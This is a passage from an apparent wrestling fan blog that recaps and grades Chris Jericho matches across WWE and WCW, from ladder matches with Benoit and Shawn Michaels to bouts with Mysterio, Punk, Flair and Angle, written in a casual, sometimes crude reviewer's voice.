A missile dropkick puts Benoit down again but he saves a climb attempt by Jericho. Benoit suplexes Jericho out to the floor and both guys are down again. Benoit goes up again but has to stop to kick Jericho away. Jericho gets up anyway and bends Benoit backwards into the Walls ON TOP OF THE LADDER. Benoit falls on his head but still kicks the ladder over to stop Jericho. AWESOME sequence there.

Jericho drills him with the ladder and goes up, but Benoit immediately pulls him down into the Crossface. Jericho taps out but it means nothing other than pleasure for Benoit here. Benoit sends him shoulder first into the post but Jericho comes back by sending Benoit face first into the ladder. The ladder is moved to the corner and both guys climb, resulting in Jericho being superplexed back down.

The Swan Dive hits the mat though and Benoit is in big trouble. Jericho puts the ladder on top of Benoit’s ribs, but the champion shoves it over anyway from the mat, sending Jericho face first into the buckle and out to the floor. Benoit goes up again but gets shoved out to the floor, allowing Jericho to sprint up the ladder and win the title.

Rating: A+. Take two Canadians, give them a ladder and 19 minutes and this is what you should expect. These two beat on each other HARD and the match was excellent as a result. They came up with some new stuff while mixing in basic stuff like HIT THE GUY IN THE FACE WITH A LADDER but it was so intense that it became a classic. Check this one out.

Another HHH match, though this time in a tag team from Raw on May 21, 2001.

Tag Titles: Steve Austin/HHH vs. Chris Benoit/Chris Jericho

Here we go. Austin vs. Jericho gets us going and one of the belts is laying in the ring. Austin takes over with pounding boots but Jericho snaps off a cross body for two. A top rope elbow to the head scores for Jericho and he works on Austin’s arm. HHH comes in and the Canadians take over. Benoit chops Austin HARD and then hits a snap suplex for no cover. There’s a superplex for two as HHH saves.

Jericho comes in to even things out but it lets the champions take over. Benoit is like screw that and pounds them back, hooking the Crossface on Austin. HHH comes in with a big chair shot to break it up but Benoit kicks out to a big pop. Benoit goes into the steps for no count as he kicks out before the one. Austin pounds away on him and it’s off to HHH who hooks a cheating abdominal stretch.

Make that a sleeper as Benoit is in big trouble. Benoit manages to fire off a suplex to put both guys down and an enziguri is good enough for the hot tag to Jericho….but the referee doesn’t see it. The fans don’t like that at all. Jericho goes off with Austin on the floor as HHH hits the Pedigree. There’s no referee though so Jericho goes up and takes HHH’s head off with a missile dropkick.

There’s your hot tag to Jericho and he takes on the now legal Austin and HHH at the same time. Thesz Press is countered into a spinebuster and then the Walls but HHH makes the save. That right there, that save, resulted in HHH tearing his quad off the bone and would put him out of action until January of 2002. You could see HHH’s leg just stop moving. His leg is dead weight now.

HHH is like screw this potentially career ending injury and goes to set up the announce table. HHH loads up the Pedigree but Jericho counters into the Walls on the table, and remember that HHH has a torn muscle. FREAKING OW MAN!!! Benoit hits the swan dive on Austin but there’s no referee. Stunner to Benoit gets two as Jericho pulls the referee out. Lionsault gets knees and HHH finds the sledgehammer from somewhere. The second Lionsault hits but the hammer hits Austin and Jericho gets the pin and the titles as the place erupts!

Rating: A+. WOW this match holds up really well. After Jericho gets that hot tag, this is full speed ahead the rest of the way. The energy in this is great as they did everything they could to keep the Canadians down but in the end, HHH messes up to end it. Notice one very important thing here: Jericho had Austin (presumably) beat with the Lionsault, so it’s not like they got dominated the entire time and won on a mistake by the other team. That’s huge and it makes Benoit/Jericho look far stronger as the new champions.

We’ll jump ahead several years now to 2008, with Jericho as the World Heavyweight Champion and defending against Shawn Michaels in a ladder match at No Mercy 2008.

Raw World Title: Shawn Michaels vs. Chris Jericho

Big match intros are out of the way and we’re ready to go. Shawn goes for the arm to start but then says screw this and tries Chin Music. Jericho moves and Shawn charges shoulder first into the post. Out to the floor and Jericho throws Shawn at the ladder but Shawn climbs it quickly and comes off with an even quicker cross body. Jericho throws him into the post shoulder first again and goes for the ladder.

Shawn drop toeholds him though and Chris’ face hits the ladder. There’s a second ladder but Jericho takes Shawn down and hooks the Walls on the floor. For some reason he lets it go and brings the ladder into the ring, but Shawn teeter totters it into his face. Back in Shawn climbs up but Jericho shoves him off and into the top rope. The ladder goes into Shawn’s face and Jericho is bleeding from the lip a bit.

There are two ladders in the ring now. Shawn counters the bulldog and sends Jericho’s leg into the ladder. Shawn lays a ladder across the bottom rope and drops Jericho’s knee onto it before hooking up a Figure Four. After it’s broken, Jericho kicks one end of the ladder into the post so that it bounces back and hits Shawn in the shoulder and then into the face. It might have been to the previously injured eye. Jericho slams a ladder on Shawn’s head in a FREAKING OW MAN moment.

He climbs up but Shawn shoves it well enough to make Jericho stop and kick him away, causing Jericho to fall off and land on his feet. Chris puts a ladder on the top rope in the corner with the top of it pointing into the ring. Shawn throws Jericho onto the ladder and he falls out to the floor. Out to the floor and Shawn sets up the mega ladder. He hits Jericho with the ladder a few times to keep Jericho down and loads up the announce table.

Jericho is placed on the table but gets up and climbs up the ladder after Shawn. He gets in a few shots and tries a belly to back through the table. Shawn shifts his weight and lands on top of Chris, but they’re both dead anyway. Back in the ring and Shawn goes up, looking to ride the ladder down onto Jericho. The champ is ready for him though and dropkicks the ladder into Shawn, crotching him.

Jericho loads up a superplex but Shawn shoves him off. He tries the elbow but Jericho pulls the ladder onto himself so that the elbow hits the steel coming down. FREAKING OW MAN! Shawn tries the superkick but Jericho pulls up a ladder and slams it into Shawn’s head. Jericho puts the ladder on Shawn and hits the Lionsault onto it, which would seem to take a lot more out of Jericho than Shawn.

He puts the ladder on top of Shawn and tries to go up but Shawn kicks the ladder forward, sending Jericho crashing down with NOTHING to catch his fall. He’s holding his knee on the floor while Shawn slowly climbs. Jericho gets back in and shoves the ladder over, sending Shawn into the ropes. They both climb and slug it out but Jericho gets his leg caught in the ladder and is hanging upside down. Cue Cade for the save so Shawn superkicks him down. Jericho is back up and it’s another race. They both grab the belt and it comes unhooked and it’s a tug of war. Jericho headbutts the bad eye to pull down the title to retain.

Rating: A. Yeah it’s great. You knew this was going to be rated very highly coming in. Everyone loves this match and it’s not hard to see why. Both guys are masters at this and they beat each other up very well in the process. As with most great ladder matches, the matches where it’s about the guys and there happen to be ladders involved are much better than the other way around. Great match and a great ending. This would have been a lot better live I think.

One of Jericho’s best feuds in his later runs was against Rey Mysterio, who he fought in a title vs. mask match at the Bash.

Intercontinental Title: Chris Jericho vs. Rey Mysterio

And if Rey loses he has to unmask forever….again. Does anyone else think some of Rey’s masks look like Klansmen hoods? This feud more or less brought the title back to life as it was the wrestler’s title again instead of just a stupid prop for guys like Santino. We’re told Rey has never wrestled a match without his mask and then are told he had to earn it after he started wrestling. I love continuity issues in WWE.

Jericho goes straight for the mask which is a very nice touch as instead of just trying to beat him he’s being pure evil and trying to humiliate and end Rey. I love that. Jericho does that slingshot into the bottom rope which is a nice move. All Jericho so far. He hooks a crossface chickenwing of all things which is a nice throwback.

You can tell these two have a lot of chemistry as they’re flowing very well. It’s odd hearing Ross clearly getting ticked off so easily as it’s clear he’s not liking having to more or less mentor Grisham when he thinks he should be the top guy. Jericho shouts at the referee to ASK HIM. Nicely done. Aww that’s so cute: they still think Rey won the Rumble and the world title. It never ceases to amaze me how they can’t tell him apart from Eddie. They look nothing alike.

Rey hits a seated senton to the floor but might have hurt his knee. He’s finally on offense though as he’d been dominated for about 6 minutes or so. Jericho catches a springboard into a powerslam. It’s always cool when wrestlers use something different than their usual stuff. You’re allowed to mix it up at times and it makes things better when you do so. Allegedly Rey has always been the smaller guy in every match he’s ever had. That’s not surprisingly actually.

Jericho gets the Walls, more or less guaranteeing a lack of a submission. When’s the last time he won a match with that? And shockingly enough Rey gets to the ropes. That move has less heat than Vickie’s vagina. 619 misses and Jericho takes his head off with a clothesline. He then blocks a rana into a powerbomb.

Rey has gotten blocked every single time here and it’s been great. Lionsault misses and I mean actually misses instead of him landing on his feet. Codebreaker gets two as the crowd is WAY into this and for good reason. Jericho and Rey go up top and Jericho just kind of falls backwards. Uh, ok? 619 hits but the West Coast Pop is countered into the Walls again. And of course they don’t work as we get a pinfall reversal sequence.

In a GREAT ending that throws back to the Extreme Rules match, Jericho rips the mask off again but Rey has ANOTHER mask on underneath so while Jericho is expecting him to stop dead he keeps going to hit the 619 and springboard splash for the IC Title. THAT is what I mean when I say great storytelling and psychology.

Rating: A+. This was a VERY well booked match that I’d bet a large sum of money on Jericho and Rey planning the majority of. The ending there was downright inspired and showed Rey outsmarting Jericho and capitalizing on it. The match being awesome helped a lot too as these two just can go out there and nail it every time with this being no exception. Screw it this is an A+.

Going back to HHH for a bit, Jericho would defend the Undisputed Title against him in the main event of Wrestlemania XVIII.

WWF World Title: HHH vs. Chris Jericho

HHH won the Rumble to get this show. Drowning Pool does HHH’s entrance and it SUCKS. That’s meant to be an old school rock song, not a bad metal version. The big story here is that HHH got tired of his wife Stephanie being all annoying and saying she could do whatever she wanted because anyone that opposed her would have to deal with HHH so he yelled at her, sending her over to Jericho. If you actually believe Jericho has anything resembling a chance here, I feel sorry for you. He does get a face pop though. Oh and HHH’s repaired quad is “hanging by a thread”.

Stephanie starts screeching as soon as the bell rings. Jericho takes him to the corner to start and bends the leg around the rope to a bit of an effect. HHH fires back with some right hands and the fans don’t seem to care. A backdrop puts Jericho down as does a clothesline. HHH comes back with the jumping knee to the face but hurts the bad leg in the process.

Jericho hits a backdrop to send HHH to the outside as they’re getting close to plodding territory. The champion spends too much time posing and is sent into the barricade for his troubles. A suplex on the floor lays out Jericho but HHH takes too much time loading up the announce table, allowing the champion to kick the bad leg out. Back inside now and HHH gets all CEREBRAL BABY and goes after Jericho’s leg.

After a good look at Stephanie’s rocking cleavage, there’s a figure four by HHH. Stephanie digs her nails into HHH’s eyes to break it up though, causing HHH to go after her. Jericho charges into Stephanie by mistake and into the ring she goes. HHH loads up the Pedigree on his wife but Jericho hits a missile dropkick to break it up. HHH’s leg is wrapped around the post a few times and Stephanie kicks him in the leg for good measure.

Back in again and Jericho cranks on the leg. The match isn’t bad so far but it’s doing nothing to draw my interest. The leg is wrapped around the post again and there’s the Figure Four around the post (on the correct leg and everything!) for good measure. Back in and HHH is taken down to the mat to stop a comeback bid before Jericho puts on an Indian Deathlock. HHH finally kicks Jericho away, sending him shoulder first into the post.

There’s a neckbreaker to Chris but he’s up first anyway. A clothesline gets two for HHH as Stephanie cheers for Jericho. The facebuster puts HHH down but he hurts his own leg again. The spinebuster gets two for HHH but Jericho is still up first. HHH is sent over the corner and out to the floor where Jericho loads up the announce table again. Jericho tries to put him in the Walls on the announce table ala the night HHH tore his quad but HHH fights out. Instead he loads up a Pedigree but Jericho backdrops him through the other table.

Back in and Jericho hits the Lionsault for two and there are the Walls for good measure. Jericho pulls him away from the ropes so HHH crawls again to make them. Stephanie offers a distraction so Jericho can bring in a chair but HHH counters with a DDT onto said chair. The crowd is DEAD for this. Stephanie comes in for no apparent reason and we finally get to see HHH Pedigree her. A chair shot to the head puts HHH down for two so Jericho loads up a Pedigree of his own. That gets countered into a slingshot and the real Pedigree gives HHH the title back.

Rating: C+. The match itself was ok but the crowd really drags it down. The problem with this match is that it went on after EVERYTHING else tonight and everyone is so freaking tired that no one cared. It didn’t help that HHH might have been a more obvious winner than Austin four years ago so we had to sit through 19 minutes until we got to the clear finish. The match itself was nothing special either. It was Jericho kicking him in the leg for the whole match before HHH escaped the Walls and hitting the Pedigree to win it. The match isn’t bad, but it’s completely lacking anything memorable.

Let’s do some WCW. From Clash of the Champions XXXV.

Cruiserweight Title: Eddie Guerrero vs. Chris Jericho

Jericho is defending and Eddie is freshly heel. Feeling out process to start with Eddie sending Chris down to the mat. Jericho comes back with two straight armdrags and a dropkick, sending Eddie over to the referee to complain of a hair pull. We get a rare power display from Jericho with a gorilla press followed by another dropkick, sending Eddie running to the corner on his knees.

Guerrero heads outside but somehow sneaks in on Jericho to take over. A slingshot hilo has Jericho in even more trouble and a top rope hurricanrana gets two for Guerrero. Jericho drops him throat first across the top rope and puts on a giant swing of all things. Eddie rolls to the floor so Jericho tries a dive, only to get caught on the ropes to miss everything.

Jericho has something left though as he suplexes Eddie over the top and out to the floor in another big crash. Back in and Eddie superplexes Jericho down for two but he has to escape a powerbomb. Jericho grabs a release German suplex for two and they trade some fast rollups for two each until Jericho reverses a sunset flip into a cradle to retain the title.

Rating: B-. These two almost always had good matches together and this was no exception. Guerrero was the better one in the ring at the moment as Jericho was still getting the hang of this level though he certainly didn’t look lost out there. Both guys looked very good out there though.

Back to WWE from the first episode of NXT.

Daniel Bryan vs. Chris Jericho

Jericho is World Heavyweight Champion here. In a weird error, Bryan’s graphic lists him as being from Vegas but the announcer says he’s from Washington. Odd indeed. Bryan can’t get a handshake to start. Jericho slaps him and it’s on. They trade dropkicks and we go back and forth a bit. Keep in mind the idea here is that this is Bryan’s debut so you have to factor out that he’s US Champion as this is being written.

Barrett cuts a quick promo here where he kisses up to Jericho a bit more but doesn’t say what he’s actually learning. Bryan throws some kicks and goes for the knee. Daniel controls here as Cole begins his indy bashing stuff and his war against the internet. Bryan speeds it up and knocks Jericho to the floor.

And there’s the highlight reel moment of the first season as Bryan DIVES through the ropes but Jericho catches him in a belly to belly to slam his back into the edge of the announce table which must hurt beyond belief. Back in the ring Bryan gets a leg lock and Jericho is in trouble. Codebreaker out of nowhere though and Bryan is down. Walls end it soon after.

Rating: B. All things considered, this was mind blowing. Factoring in that this was his mainstream debut, this can only be classified as a success. Solid match here either way and that counter spot was great. Seeing a guy like Bryan giving Jericho a legit scare here with a nice leg lock thrown in was something no one expected. This was great all things considered.

In 2001 Jericho went on one heck of a heel run over the idea that he couldn’t win the big one. Here’s his shot at the big one, from No Mercy 2001.

WCW World Title: The Rock vs. Chris Jericho

Feeling out process to start and Rock grabs a headlock. Jericho grabs an armbar but shifts over to chopping instead. Rock Bottom and Walls are both countered so Jericho dropkicks him to the floor. Back in Jericho hits a top rope back elbow for two. They’re starting kind of slow which says to me that they have a ton of time to work with. They chop away in the corner but Rock walks into a spinwheel kick to take him down for two.

Senton backsplash puts Rock down even more. Rock fires off a jumping clothesline but walks into a Stun Gun. Belly to belly by Rock puts both of them down. It’s been mostly Jericho so far but Rock is hitting enough stuff to stay in there. There’s another suplex and a Samoan Drop for two. Jericho knocks him down so Rock nips up. Rock knocks him to the floor for a bit. Back in a vertical suplex gets two for Rocky.

Rock throws him to the floor and once we’re back in, Rock throws on a chinlock for awhile. Jericho gets catapulted into the corner so Rock can load up a superplex. Chris knocks him off and a missile dropkick puts both guys down. Jericho wins a slugout and a rana gets two. Rock comes back but Jericho catches him in a Rock Bottom. Lionsault gets two as this has gotten awesome.

Jericho loads up a People’s Elbow but Rock moves. Because, you know, it’s an elbow. Rock hooks a Sharpshooter and the Canadian is in trouble. Jericho finally gets to the rope and the fans aren’t sure what to do. Out to the floor and it’s Spanish Announce Table time. Rock Bottom puts Jericho through the table and the place pops big. Back in the ring and Rock stalks Chris.

Another Rock Bottom is countered but Rock manages a spinebuster and loads up a People’s Elbow of his own. Jericho picks the ankle into the Walls and Rock is in trouble. Rock reaches for the rope but Jericho pulls him back to the middle. And here’s Stephanie because what’s a great title match without a McMahon? She throws in a chair and Rock DDTs Jericho. She cheers for Rock so Rock brings her in for a Rock Bottom. Jericho catches Rock in a Breakdown (Skull Crushing Finale) onto the chair for the pin, the title and a BIG pop from the crowd.

Rating: A-. I’m bringing this down a bit because of Stephanie. I mean there just was no need for her to be in there. It was minor but what in the world does she need to be there for? Jericho winning is still huge, but it should have been without her out there. The chair is fine, but why did we need her? The match was GREAT otherwise though with them mirroring each other perfectly.

Jumping ahead nearly twelve years, Jericho was the opponent for a returning CM Punk at Payback 2013.

CM Punk vs. Chris Jericho

Jericho comes out to CM PUNK chants but it’s not anti-Jericho. Punk gets a big reaction but it’s not thunderous. I’m thinking the fans don’t love his mutton chops. Cole lists off some famous wrestlers from Chicago including One Man Gang (not exactly a big deal) and the Crusher (from Milwaukee) but nothing about the LOD or Lex Luger. They trade control on the mat with Jericho being booed out of the building. Back up and Jericho grabs a headlock for very early control.

Punk counters into a headlock of his own and they chop it out. Jericho stomps Punk down into the corner and is booed for the first time in years. Punk is sent to the outside for a baseball slide but he counters the springboard dropkick with a guillotine. Back in and Punk hits a top rope ax handle and hooks a top wristlock. Off to a shortarm scissors as it seems like they’ve got a lot of time to work with here.

Back up and Punk is sent into the buckle to give Jericho a breather. Some shoulders put Punk down as does an ax handle but he avoids the Lionsault. A swinging neckbreaker gets two for CM and the fans are cheering for both guys. The corner bulldog is shoved away to give the Canadian two and there are the Walls of Jericho. Punk crawls through and hooks the Anaconda Vice but Jericho gets his feet onto the ropes.

Punk calls for the GTS but Jericho counters into the Walls which are countered into a GTS which is countered into a rollup for two. A Codebreaker gets two for Chris and it’s time for the main event strike off. Punk kicks away at Jericho’s head and hits a leg lariat to put Jericho down. The knee in the corner sets up the Macho Elbow but the GTS is only good for two. Another Codebreaker is broken up and Jericho is sent to the outside. Punk hits the suicide dive but Punk counters the springboard clothesline into the Codebreaker…..for two. The place is going NUTS on these kickouts now.

Jericho pins back the arms and drives in elbows to the face as the fans chant THIS IS AWESOME. Jericho hits a good 25 elbows and Punk is in big trouble. The Walls are countered into a small package for two more and they slug it out with Punk getting the better of it. A standing hurricanrana is countered into the Walls so Heyman begins to pray. Punk punches Jericho’s sore arm to make it a half crab before fighting up and hitting a pair of GTS’s for the pin at 21:27.

Rating: A-. This was the kind of match that Punk needed to have in his return. The fans weren’t completely hating Jericho but he was clearly the heel in the match, pretty much by default. Punk is going to be a huge face by fan response alone so turning him wouldn’t be a problem at all. This was the great match you would expect from these two on this stage.

Back to WCW again when Jericho was the Cruiserweight Champion and had basically cleared out the division. He would defend the title against the winner of a battle royal. Ciclope of all people won the match in a huge upset. In theory at least.

Jericho hits the ring immediately but Ciclope unmasks to reveal…..DEAN MALENKO! The place goes NUTS in one of the loudest pops WCW ever had.

Cruiserweight Title: Dean Malenko vs. Chris Jericho

Dean shows more emotion in a fifteen second burst than he did in his entire career, stomping Jericho down in the corner and a suplex puts him down again. A dropkick sends Jericho out to the floor and Dean follows him out with right hands to the head. Back in and Dean opts to fire off more punches instead of rolling Jericho up when he has the chance. A quick hot shot gives Jericho a breather and a backsplash gets two.

Jericho suplexes his down and gets another two off the arrogant cover. The Lionsault gets the same and we hit the chinlock. Dean fights up and tries the Liontamer on Jericho but Chris quickly makes the rope. A top rope back elbow to the jaw gets two on Malenko but the top rope hurricanrana is countered into the top rope gutbuster. The Cloverleaf gives Dean the title back.

Rating: A. The match was decent though nothing great, but the story here is the emotion. This whole story was built up on the emotion the fans felt for Malenko and wanting to see him make Jericho eat his words. It’s a classic story: hero falls, villain reigns and runs his mouth, hero returns to vanquish the villain. No unexplained turns, no politics, no swerves (ok maybe one with the disguise) and possibly the loudest reaction ever in WCW. Clearly there’s nothing to this storytelling idea though right?

Back in 2012, Jericho would challenge CM Punk for the title, culminating at Extreme Rules 2012.

Raw World Title: Chris Jericho vs. CM Punk

It’s a Chicago Street Fight. They’re both in street clothes which is at least something different. They do big match intros and Punk is ungodly over. They stare each other down and it’s a brawl to start. Punk stomps him down into the corner and they head outside. Punk throws two chairs in and grabs a kendo stick, drawing an ECW chant. He gets in a few shots and tries a baseball swing at Jericho but Chris hits the floor.

Back in a clothesline puts Jericho down and it’s back to the stick. Punk’s sister is here in the front row and his parents are here somewhere. Jericho hides behind the referee and pokes Punk in the eye to take over. Out to the floor again and into timekeepers’ area but Punk gets in a shot. A headbutt puts the champion back down and he goes over in front of Punk’s sister.

Jericho gets in her face and gets slapped. He charges at her and that makes Punk snap. In something I’ve never seen before, Punk rips the top off the announce table and puts Jericho through the top of it. He tries a piledriver but Jericho shoves him off and takes over again, ramming him into the barricade which gets two in the ring. Chinlock time but it doesn’t last long. We lose a turnbuckle and Jericho fires off on Punk’s back with the kendo stick.

Jericho heads to the floor and finds a beer under the ring. That gives Punk a chance to catch his breath and he comes back with kendo stick shots to the back. Jericho comes back again and they go to the corner with Punk knocking him into Macho Elbow position. That only gets two as this is getting good. GTS is countered and Jericho throws him into a chair wedged between the ropes for two.

Codebreaker puts Punk down and Jericho smiles. He doesn’t cover but sets up the Walls. It’s the Liontamer and Punk is in trouble. Now it’s just the Walls because the Liontamer is too hard to get out of. Punk gets the rope but Jericho doesn’t let go because it’s a street fight. The champ finds a fire extinguisher under the ring and Jericho is kind enough to look over at him so it can be blasted into his face.

They go to the floor and Punk fires off some kicks. Jericho is laid out on the table so Punk goes up top and almost falls off the top. Now the Macho Elbow hits in a great looking dive. Jericho is holding the back of his head and seems mad at a chair. Back in the ring that somehow only gets two so Punk throws on the Anaconda Vice. Jericho tries for the kendo stick and gets in enough shots to Punk’s head to break the hold. Punk hits him in the ribs with a chair but Jericho grabs it for a Codebreaker which gets two. Jericho tries a GTS but Punk counters into a slingshot into the exposed buckle. GTS keeps the title at 25:10.

Rating: B+. This took awhile to get going but the near falls at the end were great. I don’t think anyone expected Punk to lose here and it wouldn’t have been right for him to. There’s no need for this feud to continue now as Punk has pinned Jericho and made him tap so there’s nothing left to prove. I’m not sure where either of them goes next but it should be interesting. Very good match.

One more Shawn match, from Unforgiven 2008.

Chris Jericho vs. Shawn Michaels

This is unsanctioned and it’s pin or submission only. In essence, it’s no holds barred. Cole says Shawn told him of a Bible verse which talks about the Walls of Jericho coming down. That’s a great line. Why is there a WWE referee in an unsanctioned match? Couldn’t anyone referee it/not need a referee? Shawn takes his cowboy boot off to whack Jericho with it as he’s going after the eye just like Chris did to him.

They’re into the crowd already and it’s been all Shawn. The injury is to the triceps, not the elbow. Jericho is bleeding from the nose so Shawn hits a slingshot into the post. Shawn’s chair shot misses and Chris sends him into the table (doesn’t break it) to take over. Now we get a breakable table set up but instead Jericho just throws it at Shawn to keep him down. Chris tries to powerbomb him through the table but Shawn fires off punches. Jericho just drops him face first onto the apron instead to keep the advantage. That looked painful.

Back inside now and Jericho works Shawn over with a chair. Jericho wedges said chair in the corner but misses a charge into the opposite corner, ramming into the post. Jericho can’t suplex Shawn over the top through the table as Shawn lands on the apron. Back in Shawn nips up and just chokes Jericho down. The elbow hits and Shawn is all fired up. Sorry for the play by play but this is one of those matches where you almost have to have all of the individual details for the other stuff to make sense.

Shawn sets for Chin Music but stops to punch Jericho more. Off to a Crossface but Jericho manages to send his head into the chair, reinjuring the eye. Jericho peppers the eye so Shawn fires off right hands. Shawn tries a piledriver but gets reversed into the Walls instead. Shawn gets to a rope but THANKFULLY the referee doesn’t break it. Instead HBK finds a fire extinguisher from somewhere to spray in Chris’ eyes to break the hold.

They go to the floor and Jericho goes into the barricade as it’s all Shawn here. There’s a suplex on the ramp and both guys are down. Here’s Lance Cade and Shawn beats him up too. Cade gets in a shot to the arm though and Jericho wraps the arm around the post for good measure. Jericho hits the arm with a chair as Shawn is in real trouble. They set to Pillmanize the arm but Shawn kicks Cade into the ropes to crotch Jericho. Chin Music puts Cade down and clocks Jericho with the chair, sending him to the floor through the table.

Shawn works over Jericho with the chair now and loads up the announcers’ table as per wrestling law. Cade is laid out on the table while Jericho is on the floor. Shawn sets to go up top but instead coems down and puts Jericho on top of Cade on the table. Here’s your HUGE spot of the match as Shawn drops an elbow onto the back of Jericho and pops up somehow. That was awesome!

Back in the ring Shawn whips Jericho with the belt and won’t let up. He pulls Jericho’s arm around his own neck (Jericho’s arm is around Jericho’s neck) and pounds away at the eye as the referee is begging him to have mercy. Shawn just doesn’t care and goes back after the eye until in an unsanctioned match, the referee stops it, drawing a very mixed reaction from the crowd.

Rating: A-. This is one of those matches where blood would have really improved things. Having Shawn in a white shirt and having him covered in Jericho’s blood to end it and looking down at himself and not caring how far he let it go would have been a great ending. That being said, it’s still a great revenge match as Jericho did everything imaginable to make the fans hate him and it worked. Good stuff here, although the lack of a clearer finish hurt it.

What would a veteran be without a big match against Ric Flair? From Summerslam 2002.

Chris Jericho vs. Ric Flair

Flair is a legend, Jericho is a young punk. This led to Jericho running down Flair over and over again so Flair destroyed a bunch of Jericho’s band Fozzy’s equipment as they were performing on Raw. Jericho takes him into the corner so Flair slaps him in the face. Feeling out process to start as Flair looks to be in a dancing mood tonight. A backdrop puts Flair down and a belly to back suplex does the same.

Back up and Flair hits some LOUD chops to take over. They head to the corner and it’s Jericho firing off some chops of his own to set up a Flair Flip in the corner. A clothesline puts Flair on the floor and Jericho hits an elbow off the top to crush him against the barricade. Back in and Jericho fires off punches before doing a little dance. The Canadian gets two off a middle rope missile dropkick and chokes Flair with some tape. Flair fires off some chops but gets dropped by a single right hand.

Jericho goes up top but Flair pulls a page out of every opponent he’s ever had to slam him down. Chris misses a charge into the corner and Flair backdrops him down. NOW we go to school but Jericho escapes a suplex and tries the Walls. Flair rolls out but Jericho hits an enziguri to put Naitch down again.

The Lionsault misses and Flair goes back to the chops to take over. Flair tries a half crab but Jericho escapes and puts Flair in the Figure Four. Ric makes the rope but taps out anyway, which isn’t a submission apparently. There’s a rule clarification if you ever need one. The referee goes to tell the timekeeper that the match is still going, allowing Flair to hit a low blow and put on the Figure Four for the submission. Don’t bother setting up the move or anything Ric.

Rating: C. I’m sorry for not having much of note to say but it’s almost impossible to add stuff to good matches. Nice match here as Flair gets to be the dirtiest player in the game again but it wasn’t anything spectacular. Jericho was still awesome as a heel and it felt good to see Flair make a comeback and beat him in the middle of the ring. This was at a point when Flair could still look decent in a pair of trunks so it wasn’t an embarrassment at all.

Over the years, Jericho has lost to John Cena a lot. Like, A LOT. There was one time where things went differently. From Smackdown on the Fourth of July, 2002.

Chris Jericho vs. John Cena

Dig that totally generic rock music for Cena! Cena charges in but gets beaten down quickly. He spears Jericho down and pounds away and they go to the floor. Back in the ring Cena hits a slingshot and spinebuster for two. He’s got a fire in his eyes and you can see the star in him if they mold him properly. Jericho heads to the floor and suckers Cena in to take over. He takes too much time coming off the middle rope though and jumps into a dropkick.

Powerslam gets a very close two. He counters the Walls and this a DDT for another two. A corner splash misses for the American and Jericho takes him down with the bulldog. Lionsault misses and Cena hits his second high angle spinebuster for two. However Jericho is too good for him as he backflips out of a belly to back and hits a Flashback (sleeper drop) and pins Cena with his feet on the ropes.

Rating: B. Very fun match here which at the time was shocking. Remember that this is Cena’s second match on TV and he’s taken Jericho and Angle to the limit. They would fight again at Vengeance and Jericho would actually get beaten fairly clean. As a little trivia, to the best of my knowledge, this is the only time that Jericho has ever beaten Cena one on one on TV or PPV. Think about that for a minute. They’ve fought so many times and Jericho only won the first one.

One more WCW match, from SuperBrawl VIII.

Cruiserweight Title: Juventud Guerrera vs. Chris Jericho

This is Jericho’s title vs. Juvy’s mask. Jericho won’t take his belt off. Heenan: “It’s his binky.” He backs Juvy against the ropes with it on and the referee seems ok with it. Juvy slides between the ropes and hits a spin kick into the belt which hurts Jericho far worse. He finally takes the belt off and we’re ready to go. They hit the mat for a bit until Jericho takes over with a knee to the chest. Juvy is backdropped to the apron but comes back in with a springboard spinwheel kick.

A springboard hurricanrana takes Jericho out to the floor and the referee starts counting. Jericho gets caught raising his head up to make sure no one is looking before staying on the ground. Juvy sees through the goldbricking and splashes him from the ring. Back in and Juvy flips out of a German suplex but gets dropped chest first onto the buckle. Jericho throws him to the floor and tries to use the steps as a launchpad, only to be sent face first into the barricade.

Guerrera’s springboard is caught in a tombstone for two as Jericho is getting frustrated. The arrogant cover gets two and Jericho is getting frustrated. A delayed vertical suplex and a senton get two and Jericho hooks a backbreaker submission. Jericho gets two off a clothesline and the frustrations continue. Juvy’s top rope hurricanrana is countered into an electric chair but Jericho spends too much time posing and gets dropkicked to the floor. Air Juvy (love that move) takes Chris down again and the 450 hits back inside for the pin despite Jericho grabbing the ropes.

The referee waves it off and Jericho uses the opening to chop block Juvy’s leg. Guerrera grabs a DDT out of nowhere for two and a springboard hurricanrana gets the same. Jericho takes him down with a reverse suplex but can’t hit the Lionsault. The Liontamer is countered into a cradle for two but another hurricanrana attempt is countered into the Liontamer for the submission.

Rating: B-. This was another good win for Jericho but Juvy did a great job at flying all over the place and making the match exciting. Jericho was on a roll at this point and was such a horrible person that you can’t help but cheer against him. It’s a good match but we’re still waiting on the big showdowns with Malenko and Mysterio.

Jericho rips Juvy apart during the unmasking and tells him to put it back on. For the life of me I don’t get WCW’s thinking about this. Why would you want to give away such a lucrative merchandise opportunity like the mask? Jericho takes the mask for his trophy case in a gimmick someone should bring back.

We have to have a Kurt Angle match. From No Way Out 2000.

Intercontinental Title: Kurt Angle vs. Chris Jericho

Angle is European Champion here but it’s not on the line. Jericho is IC Champion and has Chyna with him. She has that giant phallic gun with her. I wonder if she was trying to say that yes, I am indeed a man with that. Jericho gets a GREAT pop. Please Vince, give us a Jericho title run with him as a face.

Angle is apparently an idiot, an ignoramus, and an imbecile. Jericho has an I of his own: the Intercontinental Title. That’s simple but the delivery is what makes it. Naturally this starts off fast paced as the Attitude Era was still around for the most part. Meaning of course, we go to the floor.

These two plus Benoit always had mad chemistry together and it was clear they were the future. Well kind of I guess. Jericho was. Benoit….maybe. Angle is hard to place in a pantheon of greatness. Crowd starts an ANGLE SUCKS chant. That’s ahead of its time as Edge hasn’t started the more famous chants yet.

I know I haven’t given much commentary here, but dude, it’s Angle vs. Jericho. Do I need to tell you that this match is awesome? Jericho hits that spinning heel kick that he does quite well at. In a lucky botch, Jericho messes up the follow through on the forearm but he landed on Angle so it looked intentional.

As Ventura said, sometimes it’s better to be lucky that good. They go into some swank submission vs. pinfall stuff and it’s sweet stuff. Angle gets the Slam out of nowhere when it was A, still a legit finisher (ankle lock was still about 5 months away) and B, MUCH faster and harder, gets two. We get a Liontamer which shifts into the Walls. Angle goes to get a belt and swings at Chyna. She gets rammed into the steps.

I’m no doctor but it seems to be a bad case of dramatic convenience. My diagnosis would be a short apology to Jericho. Possible side effects include a brief bit of jobbing. Take a Lionsault and call me in the morning. Back in the ring, Angle gets the belt up to block the Lionsault for the pin and the title to make him the 2nd Eurocontinental Champion. Another referee comes down to do nothing of note.

Rating: B+. This is another pairing that gets a higher than normal starting grade. Just based on who they are, they get an automatic B. This was a very nice opener as you have two guys that you know can go and it worked out fine. Again though like I’ve said before, it’s Angle vs. Jericho. Did you expect anything worse than a good match?

